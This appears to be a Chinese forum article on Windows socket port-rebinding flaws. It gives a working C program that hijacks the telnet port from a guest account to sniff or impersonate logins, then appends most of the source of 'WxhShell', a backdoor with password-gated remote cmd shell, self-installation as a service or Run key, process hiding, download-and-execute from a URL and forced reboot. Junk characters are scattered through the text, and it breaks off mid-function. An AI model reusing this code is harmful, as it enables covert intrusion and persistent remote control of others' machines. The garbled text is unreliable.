在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
:X*LlN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/GGu` f puF
Z~WZ saddr.sin_family = AF_INET;
]{^vs'as\ \l5:A]J saddr.sin_addr.s_addr = htonl(INADDR_ANY);
=lQ[%&
5AU3s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
bz]O(` oW6<7>1M7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
\}NWR{= I=a$1%BzEX 这意味着什么?意味着可以进行如下的攻击:
}*
JMc+!9@ kH-b! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0u2uYiE-l yVzg<%CR^ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
:G/]rDtd 7g+ ] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
#SNI
dc>9\ Fg_s'G,` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*PU,Rc()6 uiA:(2AQ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ygt)7f5 >]8.xkQq 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
4LJ}>e X{9o8
*V 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/j@ `aG(a +Q0-jS#d #include
S'p`ECfVMA #include
KBA% #include
tuV?:g? #include
e/jM+%
DWORD WINAPI ClientThread(LPVOID lpParam);
rd4'y~#S int main()
yt:V+qdv {
=XlIe{ WORD wVersionRequested;
ODA#vAc! DWORD ret;
q.km>XRk~ WSADATA wsaData;
wJ*-K- BOOL val;
[{LnE: SOCKADDR_IN saddr;
{
BL1j SOCKADDR_IN scaddr;
de{YgN int err;
tN> B$sv SOCKET s;
z
]N~_9w SOCKET sc;
T<k1?h^7 int caddsize;
^oO5t-9<! HANDLE mt;
vaJXX DWORD tid;
h]$?~YE wVersionRequested = MAKEWORD( 2, 2 );
kA=~8N err = WSAStartup( wVersionRequested, &wsaData );
IF}c*uGj} if ( err != 0 ) {
l0xFt
~l printf("error!WSAStartup failed!\n");
LlY*r+Cgl1 return -1;
}(EOQ2TI }
/C2f;h(1 saddr.sin_family = AF_INET;
WTs[Sud/ G11.6]?Gg //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Jd"s~n<>K N4|q2Jvj6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,!u@:UBT saddr.sin_port = htons(23);
\[I . if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$=xQ X {
~<OjXuYu printf("error!socket failed!\n");
i/~QJ1C return -1;
h^ $}1[ }
2BA9T nxC
val = TRUE;
- :z5m+ //SO_REUSEADDR选项就是可以实现端口重绑定的
4@iJ|l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
kS#DKo {
q)xl$*g printf("error!setsockopt failed!\n");
<;E[)tv return -1;
m{dyVE }
-
zw{<+; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
^J~A+CEf"W //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
E816YS=' //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_s-HlE?C 5po'(r|U if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
e0WSHg=6@ {
|aAWWd5 ret=GetLastError();
yZ)aKwj%U printf("error!bind failed!\n");
|abst&yp return -1;
U3+_'" }
<i\zfa'6 listen(s,2);
'Mx K}9 while(1)
7r[%|: {
&W<>^C2v caddsize = sizeof(scaddr);
Bd~cY/M //接受连接请求
4S0++Hp4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
^@*zH?Rx{ if(sc!=INVALID_SOCKET)
RR"WO {
Y\Qxdq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
])j|<W/ if(mt==NULL)
\M"^Oe{Dy? {
Hu(flc+z" printf("Thread Creat Failed!\n");
A~GtK\=; break;
K M\+ }
x D=qU }
OG^WZ.YU CloseHandle(mt);
; (0(8G }
KD"&_PX closesocket(s);
OWXye4`* WSACleanup();
&*]{"^ return 0;
y(3c{y@~X }
H;*a:tbxO+ DWORD WINAPI ClientThread(LPVOID lpParam)
h$7Fe +#I# {
H(G^O&ppdB SOCKET ss = (SOCKET)lpParam;
~d7Wjn$@ SOCKET sc;
{qtc\O unsigned char buf[4096];
{ .3 SOCKADDR_IN saddr;
@Gn?8Ur% long num;
VXc+Wm*W DWORD val;
KjwY'aYwr: DWORD ret;
%][$y7 //如果是隐藏端口应用的话,可以在此处加一些判断
-Mi}yi //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Op/79]$ saddr.sin_family = AF_INET;
j
#I:6yA3 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
<A -(&+ saddr.sin_port = htons(23);
;?L!1wklA if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
<[y$D=n {
$]H= printf("error!socket failed!\n");
hLytKPgt return -1;
k Kp6 }
bxhg*A val = 100;
2^ ,H_PS if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2}Z4a\YX {
',H$zA?i ret = GetLastError();
42J';\)oP return -1;
Y7kb1UG }
BU]WN7]D$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Y=:KM~2hv {
o!=lBfI ret = GetLastError();
/y9J)lx return -1;
4Ay`rG }
j.; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
c.8((h/
{
lsB9;I^+x printf("error!socket connect failed!\n");
1]
%W\RHxo closesocket(sc);
/K,|k
EE'n closesocket(ss);
s!hI:$J. return -1;
Cl t5 }
||=[kjG~ while(1)
Wm$`ae
{
6@?aVM~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
5w,Z 7I8 //如果是嗅探内容的话,可以再此处进行内容分析和记录
G !1~i*P$u //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Ev+HW x~Y num = recv(ss,buf,4096,0);
p]h*6nH>~ if(num>0)
i+)}aA send(sc,buf,num,0);
9QH9gdiw else if(num==0)
0eqi1;$b] break;
J+71FP`ZH num = recv(sc,buf,4096,0);
&SjHrOG? if(num>0)
.|-l+ send(ss,buf,num,0);
S$jV|xKB else if(num==0)
<}EV*`w4 break;
B?;' lDz* }
-Wlp=#9 closesocket(ss);
]> )u+| closesocket(sc);
C(V[wvL return 0 ;
~[|V3h4v }
L$29L: $(@o$%d <?LfOSdMs^ ==========================================================
4fw1_pv_D @e!Zc3 下边附上一个代码,,WXhSHELL
xb9Pc.A[ &o*s !u ==========================================================
m"gni # UCn*UX #include "stdafx.h"
h"%|\o+3 Ew
%{ i(d #include <stdio.h>
%XP_\lu] #include <string.h>
D!bKm[T #include <windows.h>
GJ1;\:cQq #include <winsock2.h>
d ~{jEg #include <winsvc.h>
KE/-VjZu #include <urlmon.h>
?$|uT <%d51~@={I #pragma comment (lib, "Ws2_32.lib")
gDQkn {T.% #pragma comment (lib, "urlmon.lib")
.D8~)ZWN aO.\Qe+j #define MAX_USER 100 // 最大客户端连接数
w4e%-Ln #define BUF_SOCK 200 // sock buffer
h4CTTe) #define KEY_BUFF 255 // 输入 buffer
=tr1*s{ RzA2*]%a #define REBOOT 0 // 重启
E`Jp(gK9F #define SHUTDOWN 1 // 关机
&W=V%t>Z <w0NPrS] #define DEF_PORT 5000 // 监听端口
+}_Pf{MW J [ YtA #define REG_LEN 16 // 注册表键长度
|SGgy|/a# #define SVC_LEN 80 // NT服务名长度
4S,. R nu&_gF,{ // 从dll定义API
_0'm4?" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
b8J@K" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
uY^v"cw/F typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_:35d1[ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
g.64Id 1. #
|QX // wxhshell配置信息
"?apgx 6 struct WSCFG {
]\CU9J|H8 int ws_port; // 监听端口
T4OguP= char ws_passstr[REG_LEN]; // 口令
)Y3EQxXa int ws_autoins; // 安装标记, 1=yes 0=no
([:]T$0 # char ws_regname[REG_LEN]; // 注册表键名
t"<s} ~ char ws_svcname[REG_LEN]; // 服务名
/> ^@
O char ws_svcdisp[SVC_LEN]; // 服务显示名
Yim{U:F char ws_svcdesc[SVC_LEN]; // 服务描述信息
;i<$7MR.e char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ic%?uWN int ws_downexe; // 下载执行标记, 1=yes 0=no
.6> hD1' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
i 8l./Yt/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
XB0a dp &|v{#,ymeb };
h ?uqLsRl 06 QU // default Wxhshell configuration
Ho3dsh) struct WSCFG wscfg={DEF_PORT,
duX0Mc.0P "xuhuanlingzhe",
FH)t:!# 1,
CzYGq "Wxhshell",
;mEwQ "Wxhshell",
$o]r]#B+ "WxhShell Service",
:w@F?:C "Wrsky Windows CmdShell Service",
81~Kpx "Please Input Your Password: ",
A0G)imsW:_ 1,
v# "
http://www.wrsky.com/wxhshell.exe",
v`y6y8:> "Wxhshell.exe"
,Pn-ZF };
(2UW_l z0#-)AeS // 消息定义模块
mDE'<c`b4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"r
u]?{v char *msg_ws_prompt="\n\r? for help\n\r#>";
/:bKqAz;M char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
e# t3u_ char *msg_ws_ext="\n\rExit.";
\[:PykS char *msg_ws_end="\n\rQuit.";
*yJ[zXXjJ char *msg_ws_boot="\n\rReboot...";
v @:~mwy char *msg_ws_poff="\n\rShutdown...";
kr%2 w char *msg_ws_down="\n\rSave to ";
2ck4C/ h pX@Si3G` char *msg_ws_err="\n\rErr!";
g %f*ofb char *msg_ws_ok="\n\rOK!";
Y RPm^kW 7 _`L$<-n char ExeFile[MAX_PATH];
2@vJ int nUser = 0;
4t04}vp HANDLE handles[MAX_USER];
`>s7M.|X int OsIsNt;
CdY8#+"
]<1HM"D SERVICE_STATUS serviceStatus;
oizT-8i@N SERVICE_STATUS_HANDLE hServiceStatusHandle;
!lAD
q|$ _2b9QP p // 函数声明
zbNA\.y int Install(void);
2K;#Evn'j int Uninstall(void);
Z1M>-[j) int DownloadFile(char *sURL, SOCKET wsh);
iZaeoy int Boot(int flag);
"NDxgJ%J35 void HideProc(void);
blGf!4H int GetOsVer(void);
*I0Tbc
O int Wxhshell(SOCKET wsl);
J1bA2+5.*e void TalkWithClient(void *cs);
%?bcT[|3 int CmdShell(SOCKET sock);
u_PuqRcs int StartFromService(void);
&-M]xo^ int StartWxhshell(LPSTR lpCmdLine);
f|U0s baee?6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6R`Oh uN.> VOID WINAPI NTServiceHandler( DWORD fdwControl );
Zmf'{t T5 $$hv`HE^l // 数据结构和表定义
3 t)v%S|k SERVICE_TABLE_ENTRY DispatchTable[] =
hrbo:8SL {
Ow3P-UzU3 {wscfg.ws_svcname, NTServiceMain},
UfO7+_2 {NULL, NULL}
<\" .L };
#O~XVuvF0 SVagT'BB // 自我安装
P-CB;\ int Install(void)
. V$ps-t {
~]BMrgn char svExeFile[MAX_PATH];
Bn?:w\%Ue HKEY key;
YzAFC11, strcpy(svExeFile,ExeFile);
Po(]rQbE ?vgH"W~3> // 如果是win9x系统,修改注册表设为自启动
NBjeHtT if(!OsIsNt) {
@b2`R3}9R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z%1{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9I`Y-D RegCloseKey(key);
C9qJP^F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3NIUW!gr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+R6a}d/K RegCloseKey(key);
][d,l\gu+s return 0;
y:d{jG^ }
;gMgj$mI }
XX6 T$pA6 }
:~zv t else {
/4$4h;_8 Z)pz, // 如果是NT以上系统,安装为系统服务
#D*r]M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
jTb-;4N' if (schSCManager!=0)
g%xGOA {
)4R:)-"f SC_HANDLE schService = CreateService
k6"KB (
r[_4Lo@G schSCManager,
"CQw/qZw wscfg.ws_svcname,
dRI^@n wscfg.ws_svcdisp,
-h#mn2U~3r SERVICE_ALL_ACCESS,
zP!J/}z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>O7~h[FN SERVICE_AUTO_START,
p@YB?#Im SERVICE_ERROR_NORMAL,
JN'cXZJPn svExeFile,
G^wtE90 NULL,
ZDx@^P y NULL,
V-!"%fO.s NULL,
Kmz7c| NULL,
DNkWOY#{ NULL
uS+k^
# );
J:j<"uPm if (schService!=0)
F7MzCZvu {
]XA4;7 CloseServiceHandle(schService);
,FZT~? CloseServiceHandle(schSCManager);
06*rWu9P3 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
`zpbnxOL$T strcat(svExeFile,wscfg.ws_svcname);
^YvB9XN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
g~S)aU\:, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
%."@Q$lA RegCloseKey(key);
N^w'Hw0 return 0;
1tMQqI`N }
!k&Q 5s: }
@}s$]i$|- CloseServiceHandle(schSCManager);
6rN(_Oi- }
B[5r|d' }
xJZ@DR,# X|DO~{-au return 1;
fNu'((J- }
/mM2M- O
5Nb // 自我卸载
WO</Mw int Uninstall(void)
LN2D {
<3okiV=ox HKEY key;
^pnG0(9 Avlz=k1* if(!OsIsNt) {
C\ZkGX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!? 5U| RegDeleteValue(key,wscfg.ws_regname);
sZ&G%o RegCloseKey(key);
%\$;(#h if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
B>y9fI RegDeleteValue(key,wscfg.ws_regname);
jZoNi RegCloseKey(key);
=PHIpFIuk return 0;
7piuLq+ }
!T,AdNa8 }
8}e,%{q }
6\jf|:h else {
sj?3M@l95W AJ^#eY5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{yA$V0`N{ if (schSCManager!=0)
Q&'}BeUbm {
JRMM? y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Wu6<\^A if (schService!=0)
9@ 16w {
q.4A(, if(DeleteService(schService)!=0) {
mqff]m CloseServiceHandle(schService);
LPYbHo3fq CloseServiceHandle(schSCManager);
E\nv~Y?SG return 0;
WY:&ugGx }
llV3ka^! CloseServiceHandle(schService);
Z?Hs@j }
G~7 i@Zs CloseServiceHandle(schSCManager);
J[~5U~F }
6 15s5ZA }
] b9-k aVL=K return 1;
%M|,b!eF }
2lKV#9" ?E%ELs_Dl // 从指定url下载文件
R"MRnr_4K int DownloadFile(char *sURL, SOCKET wsh)
iJ' xh n {
"1`Oh<={b HRESULT hr;
ph>7?3;t char seps[]= "/";
JO<wK char *token;
"P-lSF?T char *file;
@H>@[+S# char myURL[MAX_PATH];
K_?W\Yg char myFILE[MAX_PATH];
klgy;jSEr !+)AeDc:j strcpy(myURL,sURL);
z@Q@^
&0Mr token=strtok(myURL,seps);
5 <wnva while(token!=NULL)
#rO8K f {
h7*W*Bd file=token;
`Q3s4VEC token=strtok(NULL,seps);
l!}:|N Yh! }
-<v~snq' `@[c8j7 GetCurrentDirectory(MAX_PATH,myFILE);
vx_o(wof strcat(myFILE, "\\");
+YLejjQ strcat(myFILE, file);
zA+~7;7E send(wsh,myFILE,strlen(myFILE),0);
)*; zW!H send(wsh,"...",3,0);
'Jf^`ZT} hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
!zj0/Q G\ if(hr==S_OK)
/xGmg`g<# return 0;
~c)~015` else
@_:]J1jw7 return 1;
~_s?k3cd 'TH15r@ }
6hZ@;Q=b G7--v,R1x // 系统电源模块
ZCKka0* int Boot(int flag)
*_E|@y {
cLPkK3O\= HANDLE hToken;
K7Rpr.p TOKEN_PRIVILEGES tkp;
>9RD_QG7 bY}eUL2i4 if(OsIsNt) {
'XY`(3q OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
[.RO'>2z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
)o-Q!<*1 tkp.PrivilegeCount = 1;
t#%R
q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'>$]{vQ3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
E0%~!b if(flag==REBOOT) {
s&\I=J. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
B+^(ktZp@ return 0;
\AL
f$88>@ }
h~{aGo else {
\#o2\!@` if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
/%_OW@ ? return 0;
(b'B%rFO }
=@k%&* Y? }
3^s/bm$g else {
w
=.Fj if(flag==REBOOT) {
[mEql,x3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
U=hlu return 0;
Y"-^%@|p }
k}
]T;|h] else {
\J+* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8NaqZ+5x return 0;
,`ZYvF^% }
}y9mNT }
^Y-]*8;] T\w?$ s return 1;
[]a[v%PkG }
Ag F,aZU gX0R)spg // win9x进程隐藏模块
r$]HIvJD void HideProc(void)
dnV[ P {
1hcjSO Or
!+._3i HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
hXqD<? if ( hKernel != NULL )
8]&i-VFof {
Q{B}ef pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
+cD!1IT: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6N)!aT9eo FreeLibrary(hKernel);
3O7!`Nm@ }
$Of0n` e #j *d^j& return;
PJ='tJDj }
BD`2l!d WVY\&|)$ // 获取操作系统版本
]E] 2o int GetOsVer(void)
]p_@@QTC {
5jUYN-$GO OSVERSIONINFO winfo;
C@jJ.^
<< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
$.9{if#o& GetVersionEx(&winfo);
XJLQ{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
gY@N~'f;" return 1;
[oF|s-"9! else
i hh/sPi return 0;
.BFYY13H }
Ok n(pJ0 2Ry1b+\ // 客户端句柄模块
5Ri6Z#qm int Wxhshell(SOCKET wsl)
F <hJp,q9 {
kWdi595 SOCKET wsh;
IpP~Uz struct sockaddr_in client;
Ug&,Y/tFw2 DWORD myID;
SJIOI@\b L[=a/|)TBV while(nUser<MAX_USER)
5Hcf;P7 {
6M13f@v int nSize=sizeof(client);
(PfqRk1Y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
>3c@x if(wsh==INVALID_SOCKET) return 1;
LVJxn2x6 ,_"AT!r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;A#`]-i C if(handles[nUser]==0)
JA)] _H
P closesocket(wsh);
Ot]Ru,y->+ else
`[C!L *#, nUser++;
7EXI6jGJ| }
)c8j} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
o tk}y8 /% kY0 LY return 0;
hUYd0qEbEt }
-%L6#4m4o 1x[)/@.'f // 关闭 socket
}[M`uZ void CloseIt(SOCKET wsh)
:UQTEdc{ {
D$T%\
P closesocket(wsh);
nxr!`^Mne nUser--;
ATR!7i\| ExitThread(0);
+wkjS r`e }
+zy=50, /{|fyKo\? // 客户端请求句柄
F$[ U|%* void TalkWithClient(void *cs)
o`Ta("9^ {
e*L.U~ZR g&`pgmUX SOCKET wsh=(SOCKET)cs;
fJ ,1Ef;Z char pwd[SVC_LEN];
j\m_o% 4 char cmd[KEY_BUFF];
_)\c&.p]f char chr[1];
s>^dxF!+ int i,j;
%JLk$sP9y` yrR1[aT while (nUser < MAX_USER) {
HeG)/W?r KCWc`Oz if(wscfg.ws_passstr) {
{#{DH?=^)u if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\|K;-pL //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
aXL{TD:] //ZeroMemory(pwd,KEY_BUFF);
{RF-sqce i=0;
&B|D;|7H while(i<SVC_LEN) {
$]8h $ *cEob b // 设置超时
DZ_lW fd_set FdRead;
|_yYLYH'
struct timeval TimeOut;
O9r>E3-q FD_ZERO(&FdRead);
SCz(5[MZJ FD_SET(wsh,&FdRead);
rfq;%C TimeOut.tv_sec=8;
D&S26jrZ TimeOut.tv_usec=0;
#
0Lf<NZ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;s52{>&F] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9k 6r_G" ^.>jGI%rB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(7 r<'' pwd
=chr[0]; &-mX ,
if(chr[0]==0xd || chr[0]==0xa) { E<c9#I=
pwd=0; HcqfB NM
break; lIProF0
} Jej` ;I
i++; _vZ"4L+Iw+
} AGbhJ=tB
>$ e9igwe
// 如果是非法用户,关闭 socket C?2'+K
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'z$Q rFW
} Jm42b4
bP^Je&nS*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,13Lq-
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;f"0~D2
Yboiwy,n
while(1) { [3@):8
A$w4PVS
ZeroMemory(cmd,KEY_BUFF); !U5Wr+83
,%)6jYHR w
// 自动支持客户端 telnet标准 T,VY.ep/
j=0; )LyojwY_g
while(j<KEY_BUFF) { ' Tc]KXD6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~t~-A,1
cmd[j]=chr[0]; oIefw:FE,a
if(chr[0]==0xa || chr[0]==0xd) { WH= EPOR,
cmd[j]=0; u&n'
ITH
break; uh?>-
]r`
} BN4_:
j++; l'3pQ;
} tuhA
9}E
M`l.t -ut
// 下载文件 *q1% IJ
if(strstr(cmd,"http://")) { ;dzL}@we
send(wsh,msg_ws_down,strlen(msg_ws_down),0); -k"^o!p
if(DownloadFile(cmd,wsh)) }|XtypbL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q^#;WASi
else B|&"#Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EcCFbqS4W
} 9F*+YG!
else { ETXZ?\<a5
`3hSLR
switch(cmd[0]) { |0%+wB
v_nj$1dY6
// 帮助 V7Mh-]
case '?': { iySRY^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >mjNmh7
break; YxP@!U9dE,
} <NuUW9+
// 安装 `YIf_a{
case 'i': { Yk5}`d!:
if(Install()) 48*Do}l]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u6bXv(
else o!!yd8~*r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0eS)&GdR
break; n2fbp\ I
} <Ce2r"U1e
// 卸载 $]A/
o(
case 'r': { `^4vT3e
if(Uninstall()) yfC^x%d7G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1hziXC0WY
else th&[Nt7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P[k$vD
break; T"0,r$3:
} L_K=g_]
// 显示 wxhshell 所在路径 }sOwp}FV8X
case 'p': { <,>P 0tY}
char svExeFile[MAX_PATH]; H(&4[%;MP
strcpy(svExeFile,"\n\r"); T9879[ZU\
strcat(svExeFile,ExeFile); >G~R,{6U
send(wsh,svExeFile,strlen(svExeFile),0);
Yl.0aS
break; npNB{J[
} /*c\qXA5
// 重启 |H!9fZO
case 'b': { J|w)&bV
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S!sqbLrBn
if(Boot(REBOOT)) 6l4mS~/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]| +<P-
else { jWYV#ifs2
closesocket(wsh); n2IV2^ "
ExitThread(0); ;j)FnY=: -
} ?2g`8[">
break; C|o`k9I#
} tT79p.z B
// 关机 rrCNo^W1
case 'd': { wW/7F;54
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @, W vvh
if(Boot(SHUTDOWN)) %3$*K\Ai
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vb'7>
else { Q;D0<Bv
closesocket(wsh); U_{Ux2
ExitThread(0); <!pvqNApg
} <bD>m[8,
break; EVNY*&p
} `Ps:d^8*P
// 获取shell m,t|IgDh
case 's': { gL3"Gg3
CmdShell(wsh); 5e fpeu
closesocket(wsh); nM0[P6p
ExitThread(0); [u._q:A
break; /-i!;!
} 6HlePTf8
// 退出 ,yTjU{<"
case 'x': { H/"lAXfb
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <$hu
CloseIt(wsh); (k|_J42[
break; ? mhs$g>
} l3IWoa&sh
// 离开 >(snII
case 'q': { bl'z<S,
'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <~)kwq'
closesocket(wsh); jH6&q~#
WSACleanup();
J;prC
exit(1);
$/7pYl\n
break; +Lnsr\BA
} ku..aG`
} hnznp1[#@
} 3q?\r`
a
T]?n)L,2
// 提示信息 "hy.GWF|*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0pSmj2/,.
} @GvztVYo
} 5j-]EJb
f u9Cx
return; T =2=k&|
} Vy|6E#U
oaK%Ww6~
// shell模块句柄 ''kS*3
int CmdShell(SOCKET sock) =Z+nX0qF
{ 7YAIA%8
STARTUPINFO si; y7|P-3[ 4w
ZeroMemory(&si,sizeof(si)); "hQ_sgz[Z
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o'$jNciOW
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yA3wtm/?
PROCESS_INFORMATION ProcessInfo; 8Y#\xzod
char cmdline[]="cmd"; DU=dLE6-P;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tc+gdo>G
return 0; E!O\87[
} {$1J=JbE
>G 'SbQ8
// 自身启动模式 jU5 }\oP@
int StartFromService(void) Q(o!iI:Gts
{ g38&P3/
typedef struct ,p9i% i
{ I=!rbF;Z
DWORD ExitStatus; E{2Eoj;gq
DWORD PebBaseAddress; -$,%f?
DWORD AffinityMask; 3bNIZ#`|MB
